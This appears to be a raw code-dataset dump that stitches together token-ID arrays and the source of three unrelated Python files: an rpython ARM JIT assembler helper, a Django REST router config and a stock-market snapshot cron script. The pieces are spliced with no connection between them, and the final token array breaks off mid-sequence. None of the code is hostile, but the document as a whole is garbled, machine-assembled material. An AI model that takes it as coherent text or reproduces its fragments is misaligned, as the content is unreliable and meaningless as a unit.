2761, 29889, 1116, 23318, 877, 12284, 29889, 3624, 4421, 9450, 15167, 8785, 29901, 12020, 8960, 580, 13, 13, 18884, 2669, 4854, 353, 12865, 29889, 12673, 29889, 3707, 2141, 710, 615, 603, 877, 29995, 29979, 19222, 29885, 19222, 29881, 1273, 29950, 16664, 29924, 16664, 29903, 29889, 29995, 29888, 1495, 13, 13, 18884, 2761, 29889, 7165, 29889, 842, 4854, 29898, 1311, 29889, 6799, 29892, 2669, 4854, 29897, 13, 13, 18884, 1018, 29901, 13, 462, 1678, 4833, 535, 353, 2566, 29889, 6915, 29898, 6451, 29889, 1982, 8173, 2283, 29897, 13, 462, 1678, 4833, 2764, 353, 4833, 535, 29889, 18127, 580, 13, 462, 1678, 4833, 2764, 29889, 7978, 703, 27045, 10911, 10762, 6058, 28731, 2669, 4852, 29908, 26740, 323, 12194, 29892, 5124, 1767, 323, 12194, 29892, 5124, 3904, 29902, 11144, 29898, 26740, 5513, 1496, 1159, 13, 462, 1678, 4833, 2764, 29889, 7978, 703, 2287, 18476, 3895, 2669, 5754, 4444, 353, 525, 4230, 29918, 3389, 29915, 1159, 13, 462, 1678, 4833, 2764, 29889, 7978, 703, 19460, 11646, 2669, 2630, 1041, 313, 14579, 1577, 19123, 6702, 4230, 29918, 3389, 742, 2669, 4854, 876, 13, 462, 1678, 4833, 535, 29889, 15060, 580, 13, 462, 1678, 4833, 535, 29889, 5358, 580, 13, 18884, 5174, 29901, 13, 462, 1678, 1018, 29901, 4833, 535, 29889, 5358, 580, 13, 462, 1678, 5174, 29901, 1209, 13, 13, 18884, 565, 451, 2761, 29889, 26740, 877, 5258, 29889, 5509, 29889, 5504, 1495, 1275, 525, 3009, 2396, 12020, 8960, 580, 13, 18884, 5235, 353, 2761, 29889, 26740, 877, 5258, 29889, 5509, 29889, 24671, 1495, 470, 525, 3009, 29915, 13, 18884, 1583, 29889, 5504, 29898, 3888, 29922, 3888, 29897, 13, 9651, 5174, 29901, 13, 18884, 1209, 13, 13, 9651, 2761, 29889, 17059, 29898, 29896, 29900, 29900, 29900, 29900, 29897, 13, 13, 13, 2 ]
rpython/jit/backend/arm/helper/assembler.py
kantai/passe-pypy-taint-tracking
2
148818
from __future__ import with_statement from rpython.jit.backend.arm import conditions as c from rpython.jit.backend.arm import registers as r from rpython.jit.backend.arm.codebuilder import AbstractARMv7Builder from rpython.jit.metainterp.history import ConstInt, BoxInt, FLOAT from rpython.rlib.rarithmetic import r_uint, r_longlong, intmask from rpython.jit.metainterp.resoperation import rop def gen_emit_op_unary_cmp(name, true_cond): false_cond = c.get_opposite_of(true_cond) def f(self, op, arglocs, regalloc, fcond): assert fcond is not None reg, res = arglocs self.mc.CMP_ri(reg.value, 0) self.mc.MOV_ri(res.value, 1, true_cond) self.mc.MOV_ri(res.value, 0, false_cond) return fcond f.__name__ = 'emit_op_%s' % name return f def gen_emit_guard_unary_cmp(name, true_cond): false_cond = c.get_opposite_of(true_cond) def f(self, op, guard, arglocs, regalloc, fcond): assert fcond is not None assert guard is not None reg = arglocs[0] self.mc.CMP_ri(reg.value, 0) cond = true_cond guard_opnum = guard.getopnum() if guard_opnum == rop.GUARD_FALSE: cond = false_cond return self._emit_guard(guard, arglocs[1:], cond, save_exc=False) f.__name__ = 'emit_guard_%s' % name return f def gen_emit_op_ri(name, opname): ri_op = getattr(AbstractARMv7Builder, '%s_ri' % opname) rr_op = getattr(AbstractARMv7Builder, '%s_rr' % opname) def f(self, op, arglocs, regalloc, fcond): assert fcond is not None l0, l1, res = arglocs if l1.is_imm(): ri_op(self.mc, res.value, l0.value, imm=l1.value, cond=fcond) else: rr_op(self.mc, res.value, l0.value, l1.value) return fcond f.__name__ = 'emit_op_%s' % name return f def gen_emit_op_by_helper_call(name, opname): helper = getattr(AbstractARMv7Builder, opname) def f(self, op, arglocs, regalloc, fcond): assert fcond is not None if op.result: regs = r.caller_resp[1:] + [r.ip] else: regs = r.caller_resp with saved_registers(self.mc, regs, r.caller_vfp_resp): helper(self.mc, fcond) return fcond f.__name__ = 'emit_op_%s' % name return f def gen_emit_cmp_op(name, condition): inv = c.get_opposite_of(condition) def f(self, op, arglocs, regalloc, fcond): l0, l1, res = arglocs if l1.is_imm(): self.mc.CMP_ri(l0.value, imm=l1.getint(), cond=fcond) else: self.mc.CMP_rr(l0.value, l1.value, cond=fcond) self.mc.MOV_ri(res.value, 1, cond=condition) self.mc.MOV_ri(res.value, 0, cond=inv) return fcond f.__name__ = 'emit_op_%s' % name return f def gen_emit_cmp_op_guard(name, true_cond): false_cond = c.get_opposite_of(true_cond) def f(self, op, guard, arglocs, regalloc, fcond): assert guard is not None l0 = arglocs[0] l1 = arglocs[1] assert l0.is_reg() if l1.is_imm(): self.mc.CMP_ri(l0.value, imm=l1.getint(), cond=fcond) else: self.mc.CMP_rr(l0.value, l1.value, cond=fcond) guard_opnum = guard.getopnum() cond = true_cond if guard_opnum == rop.GUARD_FALSE: cond = false_cond return self._emit_guard(guard, arglocs[2:], cond, save_exc=False) f.__name__ = 'emit_guard_%s' % name return f def gen_emit_float_op(name, opname): op_rr = getattr(AbstractARMv7Builder, opname) def f(self, op, arglocs, regalloc, fcond): arg1, arg2, result = arglocs op_rr(self.mc, result.value, arg1.value, arg2.value) return fcond f.__name__ = 'emit_op_%s' % name return f def gen_emit_unary_float_op(name, opname): op_rr = getattr(AbstractARMv7Builder, opname) def f(self, op, arglocs, regalloc, fcond): arg1, result = arglocs op_rr(self.mc, result.value, arg1.value) return fcond f.__name__ = 'emit_op_%s' % name return f def gen_emit_float_cmp_op(name, cond): inv = c.get_opposite_of(cond) def f(self, op, arglocs, regalloc, fcond): arg1, arg2, res = arglocs self.mc.VCMP(arg1.value, arg2.value) self.mc.VMRS(cond=fcond) self.mc.MOV_ri(res.value, 1, cond=cond) self.mc.MOV_ri(res.value, 0, cond=inv) return fcond f.__name__ = 'emit_op_%s' % name return f def gen_emit_float_cmp_op_guard(name, true_cond): false_cond = c.get_opposite_of(true_cond) def f(self, op, guard, arglocs, regalloc, fcond): assert guard is not None arg1 = arglocs[0] arg2 = arglocs[1] self.mc.VCMP(arg1.value, arg2.value) self.mc.VMRS(cond=fcond) cond = true_cond guard_opnum = guard.getopnum() if guard_opnum == rop.GUARD_FALSE: cond = false_cond return self._emit_guard(guard, arglocs[2:], cond, save_exc=False) f.__name__ = 'emit_guard_%s' % name return f class saved_registers(object): def __init__(self, cb, regs_to_save, vfp_regs_to_save=None): self.cb = cb if vfp_regs_to_save is None: vfp_regs_to_save = [] self.regs = regs_to_save self.vfp_regs = vfp_regs_to_save def __enter__(self): if len(self.regs) > 0: self.cb.PUSH([r.value for r in self.regs]) if len(self.vfp_regs) > 0: self.cb.VPUSH([r.value for r in self.vfp_regs]) def __exit__(self, *args): if len(self.vfp_regs) > 0: self.cb.VPOP([r.value for r in self.vfp_regs]) if len(self.regs) > 0: self.cb.POP([r.value for r in self.regs]) def count_reg_args(args): reg_args = 0 words = 0 count = 0 for x in range(min(len(args), 4)): if args[x].type == FLOAT: words += 2 if count % 2 != 0: words += 1 count = 0 else: count += 1 words += 1 reg_args += 1 if words > 4: reg_args = x break return reg_args
[ 1, 515, 4770, 29888, 9130, 1649, 1053, 411, 29918, 20788, 13, 3166, 364, 4691, 29889, 29926, 277, 29889, 27852, 29889, 2817, 1053, 5855, 408, 274, 13, 3166, 364, 4691, 29889, 29926, 277, 29889, 27852, 29889, 2817, 1053, 28975, 408, 364, 13, 3166, 364, 4691, 29889, 29926, 277, 29889, 27852, 29889, 2817, 29889, 401, 16409, 1053, 25513, 1718, 29924, 29894, 29955, 5627, 13, 3166, 364, 4691, 29889, 29926, 277, 29889, 2527, 475, 357, 29886, 29889, 18434, 1053, 5798, 2928, 29892, 11773, 2928, 29892, 383, 3927, 1299, 13, 3166, 364, 4691, 29889, 29878, 1982, 29889, 13678, 18542, 1053, 364, 29918, 13470, 29892, 364, 29918, 5426, 5426, 29892, 938, 13168, 13, 3166, 364, 4691, 29889, 29926, 277, 29889, 2527, 475, 357, 29886, 29889, 690, 16453, 1053, 696, 29886, 13, 13, 1753, 2531, 29918, 21976, 29918, 459, 29918, 348, 653, 29918, 21058, 29898, 978, 29892, 1565, 29918, 1116, 1125, 13, 1678, 2089, 29918, 1116, 353, 274, 29889, 657, 29918, 9354, 359, 568, 29918, 974, 29898, 3009, 29918, 1116, 29897, 13, 1678, 822, 285, 29898, 1311, 29892, 1015, 29892, 1852, 2029, 29879, 29892, 1072, 15956, 29892, 285, 1116, 1125, 13, 4706, 4974, 285, 1116, 338, 451, 6213, 13, 4706, 1072, 29892, 620, 353, 1852, 2029, 29879, 13, 4706, 1583, 29889, 14047, 29889, 29907, 3580, 29918, 374, 29898, 1727, 29889, 1767, 29892, 29871, 29900, 29897, 13, 4706, 1583, 29889, 14047, 29889, 6720, 29963, 29918, 374, 29898, 690, 29889, 1767, 29892, 29871, 29896, 29892, 1565, 29918, 1116, 29897, 13, 4706, 1583, 29889, 14047, 29889, 6720, 29963, 29918, 374, 29898, 690, 29889, 1767, 29892, 29871, 29900, 29892, 2089, 29918, 1116, 29897, 13, 4706, 736, 285, 1116, 13, 1678, 285, 17255, 978, 1649, 353, 525, 21976, 29918, 459, 29918, 29995, 29879, 29915, 1273, 1024, 13, 1678, 736, 285, 13, 13, 1753, 2531, 29918, 21976, 29918, 17728, 29918, 348, 653, 29918, 21058, 29898, 978, 29892, 1565, 29918, 1116, 1125, 13, 1678, 2089, 29918, 1116, 353, 274, 29889, 657, 29918, 9354, 359, 568, 29918, 974, 29898, 3009, 29918, 1116, 29897, 13, 1678, 822, 285, 29898, 1311, 29892, 1015, 29892, 8372, 29892, 1852, 2029, 29879, 29892, 1072, 15956, 29892, 285, 1116, 1125, 13, 4706, 4974, 285, 1116, 338, 451, 6213, 13, 4706, 4974, 8372, 338, 451, 6213, 13, 4706, 1072, 353, 1852, 2029, 29879, 29961, 29900, 29962, 13, 4706, 1583, 29889, 14047, 29889, 29907, 3580, 29918, 374, 29898, 1727, 29889, 1767, 29892, 29871, 29900, 29897, 13, 4706, 2148, 353, 1565, 29918, 1116, 13, 4706, 8372, 29918, 459, 1949, 353, 8372, 29889, 657, 459, 1949, 580, 13, 4706, 565, 8372, 29918, 459, 1949, 1275, 696, 29886, 29889, 29954, 29965, 17011, 29918, 25717, 29901, 13, 9651, 2148, 353, 2089, 29918, 1116, 13, 4706, 736, 1583, 3032, 21976, 29918, 17728, 29898, 17728, 29892, 1852, 2029, 29879, 29961, 29896, 29901, 1402, 2148, 29892, 4078, 29918, 735, 29883, 29922, 8824, 29897, 13, 1678, 285, 17255, 978, 1649, 353, 525, 21976, 29918, 17728, 29918, 29995, 29879, 29915, 1273, 1024, 13, 1678, 736, 285, 13, 13, 1753, 2531, 29918, 21976, 29918, 459, 29918, 374, 29898, 978, 29892, 1015, 978, 1125, 13, 1678, 10107, 29918, 459, 353, 679, 5552, 29898, 9118, 1718, 29924, 29894, 29955, 5627, 29892, 14210, 29879, 29918, 374, 29915, 1273, 1015, 978, 29897, 13, 1678, 364, 29878, 29918, 459, 353, 679, 5552, 29898, 9118, 1718, 29924, 29894, 29955, 5627, 29892, 14210, 29879, 29918, 21478, 29915, 1273, 1015, 978, 29897, 13, 1678, 822, 285, 29898, 1311, 29892, 1015, 29892, 1852, 2029, 29879, 29892, 1072, 15956, 29892, 285, 1116, 1125, 13, 4706, 4974, 285, 1116, 338, 451, 6213, 13, 4706, 301, 29900, 29892, 301, 29896, 29892, 620, 353, 1852, 2029, 29879, 13, 4706, 565, 301, 29896, 29889, 275, 29918, 6727, 7295, 13, 9651, 10107, 29918, 459, 29898, 1311, 29889, 14047, 29892, 620, 29889, 1767, 29892, 301, 29900, 29889, 1767, 29892, 5198, 29922, 29880, 29896, 29889, 1767, 29892, 2148, 29922, 29888, 1116, 29897, 13, 4706, 1683, 29901, 13, 9651, 364, 29878, 29918, 459, 29898, 1311, 29889, 14047, 29892, 620, 29889, 1767, 29892, 301, 29900, 29889, 1767, 29892, 301, 29896, 29889, 1767, 29897, 13, 4706, 736, 285, 1116, 13, 1678, 285, 17255, 978, 1649, 353, 525, 21976, 29918, 459, 29918, 29995, 29879, 29915, 1273, 1024, 13, 1678, 736, 285, 13, 13, 1753, 2531, 29918, 21976, 29918, 459, 29918, 1609, 29918, 20907, 29918, 4804, 29898, 978, 29892, 1015, 978, 1125, 13, 1678, 16876, 353, 679, 5552, 29898, 9118, 1718, 29924, 29894, 29955, 5627, 29892, 1015, 978, 29897, 13, 1678, 822, 285, 29898, 1311, 29892, 1015, 29892, 1852, 2029, 29879, 29892, 1072, 15956, 29892, 285, 1116, 1125, 13, 4706, 4974, 285, 1116, 338, 451, 6213, 13, 4706, 565, 1015, 29889, 2914, 29901, 13, 9651, 1072, 29879, 353, 364, 29889, 4804, 261, 29918, 13713, 29961, 29896, 17531, 718, 518, 29878, 29889, 666, 29962, 13, 4706, 1683, 29901, 13, 9651, 1072, 29879, 353, 364, 29889, 4804, 261, 29918, 13713, 13, 4706, 411, 7160, 29918, 9573, 29879, 29898, 1311, 29889, 14047, 29892, 1072, 29879, 29892, 364, 29889, 4804, 261, 29918, 29894, 18091, 29918, 13713, 1125, 13, 9651, 16876, 29898, 1311, 29889, 14047, 29892, 285, 1116, 29897, 13, 4706, 736, 285, 1116, 13, 1678, 285, 17255, 978, 1649, 353, 525, 21976, 29918, 459, 29918, 29995, 29879, 29915, 1273, 1024, 13, 1678, 736, 285, 13, 13, 1753, 2531, 29918, 21976, 29918, 21058, 29918, 459, 29898, 978, 29892, 4195, 1125, 13, 1678, 2437, 353, 274, 29889, 657, 29918, 9354, 359, 568, 29918, 974, 29898, 16122, 29897, 13, 1678, 822, 285, 29898, 1311, 29892, 1015, 29892, 1852, 2029, 29879, 29892, 1072, 15956, 29892, 285, 1116, 1125, 13, 4706, 301, 29900, 29892, 301, 29896, 29892, 620, 353, 1852, 2029, 29879, 13, 13, 4706, 565, 301, 29896, 29889, 275, 29918, 6727, 7295, 13, 9651, 1583, 29889, 14047, 29889, 29907, 3580, 29918, 374, 29898, 29880, 29900, 29889, 1767, 29892, 5198, 29922, 29880, 29896, 29889, 657, 524, 3285, 2148, 29922, 29888, 1116, 29897, 13, 4706, 1683, 29901, 13, 9651, 1583, 29889, 14047, 29889, 29907, 3580, 29918, 21478, 29898, 29880, 29900, 29889, 1767, 29892, 301, 29896, 29889, 1767, 29892, 2148, 29922, 29888, 1116, 29897, 13, 4706, 1583, 29889, 14047, 29889, 6720, 29963, 29918, 374, 29898, 690, 29889, 1767, 29892, 29871, 29896, 29892, 2148, 29922, 16122, 29897, 13, 4706, 1583, 29889, 14047, 29889, 6720, 29963, 29918, 374, 29898, 690, 29889, 1767, 29892, 29871, 29900, 29892, 2148, 29922, 11569, 29897, 13, 4706, 736, 285, 1116, 13, 1678, 285, 17255, 978, 1649, 353, 525, 21976, 29918, 459, 29918, 29995, 29879, 29915, 1273, 1024, 13, 1678, 736, 285, 13, 13, 1753, 2531, 29918, 21976, 29918, 21058, 29918, 459, 29918, 17728, 29898, 978, 29892, 1565, 29918, 1116, 1125, 13, 1678, 2089, 29918, 1116, 353, 274, 29889, 657, 29918, 9354, 359, 568, 29918, 974, 29898, 3009, 29918, 1116, 29897, 13, 1678, 822, 285, 29898, 1311, 29892, 1015, 29892, 8372, 29892, 1852, 2029, 29879, 29892, 1072, 15956, 29892, 285, 1116, 1125, 13, 4706, 4974, 8372, 338, 451, 6213, 13, 4706, 301, 29900, 353, 1852, 2029, 29879, 29961, 29900, 29962, 13, 4706, 301, 29896, 353, 1852, 2029, 29879, 29961, 29896, 29962, 13, 4706, 4974, 301, 29900, 29889, 275, 29918, 1727, 580, 13, 13, 4706, 565, 301, 29896, 29889, 275, 29918, 6727, 7295, 13, 9651, 1583, 29889, 14047, 29889, 29907, 3580, 29918, 374, 29898, 29880, 29900, 29889, 1767, 29892, 5198, 29922, 29880, 29896, 29889, 657, 524, 3285, 2148, 29922, 29888, 1116, 29897, 13, 4706, 1683, 29901, 13, 9651, 1583, 29889, 14047, 29889, 29907, 3580, 29918, 21478, 29898, 29880, 29900, 29889, 1767, 29892, 301, 29896, 29889, 1767, 29892, 2148, 29922, 29888, 1116, 29897, 13, 4706, 8372, 29918, 459, 1949, 353, 8372, 29889, 657, 459, 1949, 580, 13, 4706, 2148, 353, 1565, 29918, 1116, 13, 4706, 565, 8372, 29918, 459, 1949, 1275, 696, 29886, 29889, 29954, 29965, 17011, 29918, 25717, 29901, 13, 9651, 2148, 353, 2089, 29918, 1116, 13, 4706, 736, 1583, 3032, 21976, 29918, 17728, 29898, 17728, 29892, 1852, 2029, 29879, 29961, 29906, 29901, 1402, 2148, 29892, 4078, 29918, 735, 29883, 29922, 8824, 29897, 13, 1678, 285, 17255, 978, 1649, 353, 525, 21976, 29918, 17728, 29918, 29995, 29879, 29915, 1273, 1024, 13, 1678, 736, 285, 13, 13, 1753, 2531, 29918, 21976, 29918, 7411, 29918, 459, 29898, 978, 29892, 1015, 978, 1125, 13, 1678, 1015, 29918, 21478, 353, 679, 5552, 29898, 9118, 1718, 29924, 29894, 29955, 5627, 29892, 1015, 978, 29897, 13, 1678, 822, 285, 29898, 1311, 29892, 1015, 29892, 1852, 2029, 29879, 29892, 1072, 15956, 29892, 285, 1116, 1125, 13, 4706, 1852, 29896, 29892, 1852, 29906, 29892, 1121, 353, 1852, 2029, 29879, 13, 4706, 1015, 29918, 21478, 29898, 1311, 29889, 14047, 29892, 1121, 29889, 1767, 29892, 1852, 29896, 29889, 1767, 29892, 1852, 29906, 29889, 1767, 29897, 13, 4706, 736, 285, 1116, 13, 1678, 285, 17255, 978, 1649, 353, 525, 21976, 29918, 459, 29918, 29995, 29879, 29915, 1273, 1024, 13, 1678, 736, 285, 13, 1753, 2531, 29918, 21976, 29918, 348, 653, 29918, 7411, 29918, 459, 29898, 978, 29892, 1015, 978, 1125, 13, 1678, 1015, 29918, 21478, 353, 679, 5552, 29898, 9118, 1718, 29924, 29894, 29955, 5627, 29892, 1015, 978, 29897, 13, 1678, 822, 285, 29898, 1311, 29892, 1015, 29892, 1852, 2029, 29879, 29892, 1072, 15956, 29892, 285, 1116, 1125, 13, 4706, 1852, 29896, 29892, 1121, 353, 1852, 2029, 29879, 13, 4706, 1015, 29918, 21478, 29898, 1311, 29889, 14047, 29892, 1121, 29889, 1767, 29892, 1852, 29896, 29889, 1767, 29897, 13, 4706, 736, 285, 1116, 13, 1678, 285, 17255, 978, 1649, 353, 525, 21976, 29918, 459, 29918, 29995, 29879, 29915, 1273, 1024, 13, 1678, 736, 285, 13, 13, 1753, 2531, 29918, 21976, 29918, 7411, 29918, 21058, 29918, 459, 29898, 978, 29892, 2148, 1125, 13, 1678, 2437, 353, 274, 29889, 657, 29918, 9354, 359, 568, 29918, 974, 29898, 1116, 29897, 13, 1678, 822, 285, 29898, 1311, 29892, 1015, 29892, 1852, 2029, 29879, 29892, 1072, 15956, 29892, 285, 1116, 1125, 13, 4706, 1852, 29896, 29892, 1852, 29906, 29892, 620, 353, 1852, 2029, 29879, 13, 4706, 1583, 29889, 14047, 29889, 8257, 3580, 29898, 1191, 29896, 29889, 1767, 29892, 1852, 29906, 29889, 1767, 29897, 13, 4706, 1583, 29889, 14047, 29889, 9219, 12445, 29898, 1116, 29922, 29888, 1116, 29897, 13, 4706, 1583, 29889, 14047, 29889, 6720, 29963, 29918, 374, 29898, 690, 29889, 1767, 29892, 29871, 29896, 29892, 2148, 29922, 1116, 29897, 13, 4706, 1583, 29889, 14047, 29889, 6720, 29963, 29918, 374, 29898, 690, 29889, 1767, 29892, 29871, 29900, 29892, 2148, 29922, 11569, 29897, 13, 4706, 736, 285, 1116, 13, 1678, 285, 17255, 978, 1649, 353, 525, 21976, 29918, 459, 29918, 29995, 29879, 29915, 1273, 1024, 13, 1678, 736, 285, 13, 13, 1753, 2531, 29918, 21976, 29918, 7411, 29918, 21058, 29918, 459, 29918, 17728, 29898, 978, 29892, 1565, 29918, 1116, 1125, 13, 1678, 2089, 29918, 1116, 353, 274, 29889, 657, 29918, 9354, 359, 568, 29918, 974, 29898, 3009, 29918, 1116, 29897, 13, 1678, 822, 285, 29898, 1311, 29892, 1015, 29892, 8372, 29892, 1852, 2029, 29879, 29892, 1072, 15956, 29892, 285, 1116, 1125, 13, 4706, 4974, 8372, 338, 451, 6213, 13, 4706, 1852, 29896, 353, 1852, 2029, 29879, 29961, 29900, 29962, 13, 4706, 1852, 29906, 353, 1852, 2029, 29879, 29961, 29896, 29962, 13, 4706, 1583, 29889, 14047, 29889, 8257, 3580, 29898, 1191, 29896, 29889, 1767, 29892, 1852, 29906, 29889, 1767, 29897, 13, 4706, 1583, 29889, 14047, 29889, 9219, 12445, 29898, 1116, 29922, 29888, 1116, 29897, 13, 4706, 2148, 353, 1565, 29918, 1116, 13, 4706, 8372, 29918, 459, 1949, 353, 8372, 29889, 657, 459, 1949, 580, 13, 4706, 565, 8372, 29918, 459, 1949, 1275, 696, 29886, 29889, 29954, 29965, 17011, 29918, 25717, 29901, 13, 9651, 2148, 353, 2089, 29918, 1116, 13, 4706, 736, 1583, 3032, 21976, 29918, 17728, 29898, 17728, 29892, 1852, 2029, 29879, 29961, 29906, 29901, 1402, 2148, 29892, 4078, 29918, 735, 29883, 29922, 8824, 29897, 13, 1678, 285, 17255, 978, 1649, 353, 525, 21976, 29918, 17728, 29918, 29995, 29879, 29915, 1273, 1024, 13, 1678, 736, 285, 13, 13, 13, 1990, 7160, 29918, 9573, 29879, 29898, 3318, 1125, 13, 1678, 822, 4770, 2344, 12035, 1311, 29892, 26324, 29892, 1072, 29879, 29918, 517, 29918, 7620, 29892, 325, 18091, 29918, 1727, 29879, 29918, 517, 29918, 7620, 29922, 8516, 1125, 13, 4706, 1583, 29889, 10702, 353, 26324, 13, 4706, 565, 325, 18091, 29918, 1727, 29879, 29918, 517, 29918, 7620, 338, 6213, 29901, 13, 9651, 325, 18091, 29918, 1727, 29879, 29918, 517, 29918, 7620, 353, 5159, 13, 4706, 1583, 29889, 1727, 29879, 353, 1072, 29879, 29918, 517, 29918, 7620, 13, 4706, 1583, 29889, 29894, 18091, 29918, 1727, 29879, 353, 325, 18091, 29918, 1727, 29879, 29918, 517, 29918, 7620, 13, 13, 1678, 822, 4770, 5893, 12035, 1311, 1125, 13, 4706, 565, 7431, 29898, 1311, 29889, 1727, 29879, 29897, 1405, 29871, 29900, 29901, 13, 9651, 1583, 29889, 10702, 29889, 29925, 3308, 29950, 4197, 29878, 29889, 1767, 363, 364, 297, 1583, 29889, 1727, 29879, 2314, 13, 4706, 565, 7431, 29898, 1311, 29889, 29894, 18091, 29918, 1727, 29879, 29897, 1405, 29871, 29900, 29901, 13, 9651, 1583, 29889, 10702, 29889, 18510, 3308, 29950, 4197, 29878, 29889, 1767, 363, 364, 297, 1583, 29889, 29894, 18091, 29918, 1727, 29879, 2314, 13, 13, 1678, 822, 4770, 13322, 12035, 1311, 29892, 334, 5085, 1125, 13, 4706, 565, 7431, 29898, 1311, 29889, 29894, 18091, 29918, 1727, 29879, 29897, 1405, 29871, 29900, 29901, 13, 9651, 1583, 29889, 10702, 29889, 18510, 4590, 4197, 29878, 29889, 1767, 363, 364, 297, 1583, 29889, 29894, 18091, 29918, 1727, 29879, 2314, 13, 4706, 565, 7431, 29898, 1311, 29889, 1727, 29879, 29897, 1405, 29871, 29900, 29901, 13, 9651, 1583, 29889, 10702, 29889, 29925, 4590, 4197, 29878, 29889, 1767, 363, 364, 297, 1583, 29889, 1727, 29879, 2314, 13, 13, 1753, 2302, 29918, 1727, 29918, 5085, 29898, 5085, 1125, 13, 1678, 1072, 29918, 5085, 353, 29871, 29900, 13, 1678, 3838, 353, 29871, 29900, 13, 1678, 2302, 353, 29871, 29900, 13, 1678, 363, 921, 297, 3464, 29898, 1195, 29898, 2435, 29898, 5085, 511, 29871, 29946, 22164, 13, 4706, 565, 6389, 29961, 29916, 1822, 1853, 1275, 383, 3927, 1299, 29901, 13, 9651, 3838, 4619, 29871, 29906, 13, 9651, 565, 2302, 1273, 29871, 29906, 2804, 29871, 29900, 29901, 13, 18884, 3838, 4619, 29871, 29896, 13, 18884, 2302, 353, 29871, 29900, 13, 4706, 1683, 29901, 13, 9651, 2302, 4619, 29871, 29896, 13, 9651, 3838, 4619, 29871, 29896, 13, 4706, 1072, 29918, 5085, 4619, 29871, 29896, 13, 4706, 565, 3838, 1405, 29871, 29946, 29901, 13, 9651, 1072, 29918, 5085, 353, 921, 13, 9651, 2867, 13, 1678, 736, 1072, 29918, 5085, 13, 2 ]
profiles_api/urls.py
arun65/profiles-rest-api
0
172231
<filename>profiles_api/urls.py<gh_stars>0 from django.urls import path, include from profiles_api import views from rest_framework.routers import DefaultRouter router = DefaultRouter() router.register('hello-viewset', views.HelloViewSet, base_name='hello-viewset') # (url, class, basename) router.register('profile', views.UserProfileViewSet) # base_name is not required as we configured the queryset.. DRF will figureout the name using the queryset, base_name is only required when we dont have a queryset or when we want to override the name of the queryset urlpatterns = [ path("hello-view/", views.HelloApiView.as_view()), path('login/', views.UserLoginApiView.as_view()), path("", include(router.urls)), # router.urls will generate list of urls for our viewsets based on the methods defined ]
[ 1, 529, 9507, 29958, 771, 5325, 29918, 2754, 29914, 26045, 29889, 2272, 29966, 12443, 29918, 303, 1503, 29958, 29900, 13, 3166, 9557, 29889, 26045, 1053, 2224, 29892, 3160, 13, 3166, 28723, 29918, 2754, 1053, 8386, 13, 3166, 1791, 29918, 4468, 29889, 27537, 2153, 1053, 13109, 23971, 13, 13, 15140, 353, 13109, 23971, 580, 13, 15140, 29889, 9573, 877, 12199, 29899, 1493, 842, 742, 8386, 29889, 10994, 1043, 2697, 29892, 2967, 29918, 978, 2433, 12199, 29899, 1493, 842, 1495, 396, 313, 2271, 29892, 770, 29892, 2362, 3871, 29897, 13, 15140, 29889, 9573, 877, 10185, 742, 8386, 29889, 2659, 13909, 1043, 2697, 29897, 396, 2967, 29918, 978, 338, 451, 3734, 408, 591, 13252, 278, 2346, 842, 636, 26900, 29943, 674, 4377, 449, 278, 1024, 773, 278, 2346, 842, 29892, 2967, 29918, 978, 338, 871, 3734, 746, 591, 4555, 505, 263, 2346, 842, 470, 746, 591, 864, 304, 5712, 278, 1024, 310, 278, 2346, 842, 13, 13, 13, 2271, 11037, 29879, 353, 518, 13, 1678, 2224, 703, 12199, 29899, 1493, 29914, 613, 8386, 29889, 10994, 11713, 1043, 29889, 294, 29918, 1493, 25739, 13, 1678, 2224, 877, 7507, 29914, 742, 8386, 29889, 2659, 11049, 11713, 1043, 29889, 294, 29918, 1493, 25739, 13, 1678, 2224, 703, 613, 3160, 29898, 15140, 29889, 26045, 8243, 396, 12876, 29889, 26045, 674, 5706, 1051, 310, 23942, 363, 1749, 1776, 7224, 2729, 373, 278, 3519, 3342, 13, 29962, 13, 2 ]
finance/cron.py
momantang/cobrass
1
149937
<gh_stars>1-10 # coding:utf8 import os import sys sys.path.insert(0, os.path.abspath('../')) import logging import pandas as pd from finance.models import Stock, CrontabAction, MarketSnapshot import datetime import pytdx import easyquotation from utils.timeutils import is_tradetime_now from local import local_setting as ls from django.utils import dates """ 定时任务 """ logger = logging.getLogger(__name__) dev = True def my_scheduled_job(): crontab_action = CrontabAction() crontab_action.date = datetime.datetime.now() crontab_action.name = 'my_scheduled_job' crontab_action.description = 'first my schedule job' crontab_action.save() if dev: logger.debug('my_scheduled job') print(str(datetime.datetime.now()) + " my_scheduled_job") def down_market_snapshot(save=True): """ 每半小时获取下市场快照 :return: 市场快照 """ if is_tradetime_now(): date = datetime.datetime.now() dateStr = date.strftime('%Y-%m-%d_%H-%M-%S') quotation = easyquotation.use('sina') snapshot = quotation.market_snapshot(prefix=True) market_snapshot = MarketSnapshot(date=date, context=snapshot) market_snapshot.save() df_snapshot = pd.DataFrame.from_dict(snapshot) df_snapshot = df_snapshot.T df_snapshot.index.name = 'code' if save: df_snapshot.to_csv(ls.LocalSetting.data_path + "mark_snapshot/" + dateStr + ".csv", compression='gzip') return df_snapshot def down_stock_index_snapshot(save=True): quotation = easyquotation.use('sina') content = quotation.stocks(['sh000001', 'sz399001', 'sz399006'], prefix=True) pass def down_interest_stock(): """ 下载感兴趣的股票的分时记录 :return: """ stocks = Stock.Objects.filter(is_interest=True) pass if __name__ == "__main__": df = down_market_snapshot(save=False)
[ 1, 529, 12443, 29918, 303, 1503, 29958, 29896, 29899, 29896, 29900, 13, 29937, 14137, 29901, 9420, 29947, 13, 5215, 2897, 13, 5215, 10876, 13, 13, 9675, 29889, 2084, 29889, 7851, 29898, 29900, 29892, 2897, 29889, 2084, 29889, 370, 1028, 493, 877, 6995, 8785, 13, 13, 5215, 12183, 13, 5215, 11701, 408, 10518, 13, 3166, 1436, 749, 29889, 9794, 1053, 10224, 29892, 6781, 609, 370, 4276, 29892, 28794, 21913, 13, 5215, 12865, 13, 5215, 11451, 1594, 29916, 13, 5215, 4780, 23083, 362, 13, 3166, 3667, 29879, 29889, 2230, 13239, 1053, 338, 29918, 29576, 5410, 29918, 3707, 13, 13, 3166, 1887, 1053, 1887, 29918, 26740, 408, 19375, 13, 3166, 9557, 29889, 13239, 1053, 10116, 13, 13, 15945, 29908, 13, 30495, 30594, 31450, 31358, 13, 13, 15945, 29908, 13, 21707, 353, 12183, 29889, 657, 16363, 22168, 978, 1649, 29897, 13, 3359, 353, 5852, 13, 13, 13, 1753, 590, 29918, 816, 14989, 29918, 9057, 7295, 13, 1678, 2181, 609, 370, 29918, 2467, 353, 6781, 609, 370, 4276, 580, 13, 1678, 2181, 609, 370, 29918, 2467, 29889, 1256, 353, 12865, 29889, 12673, 29889, 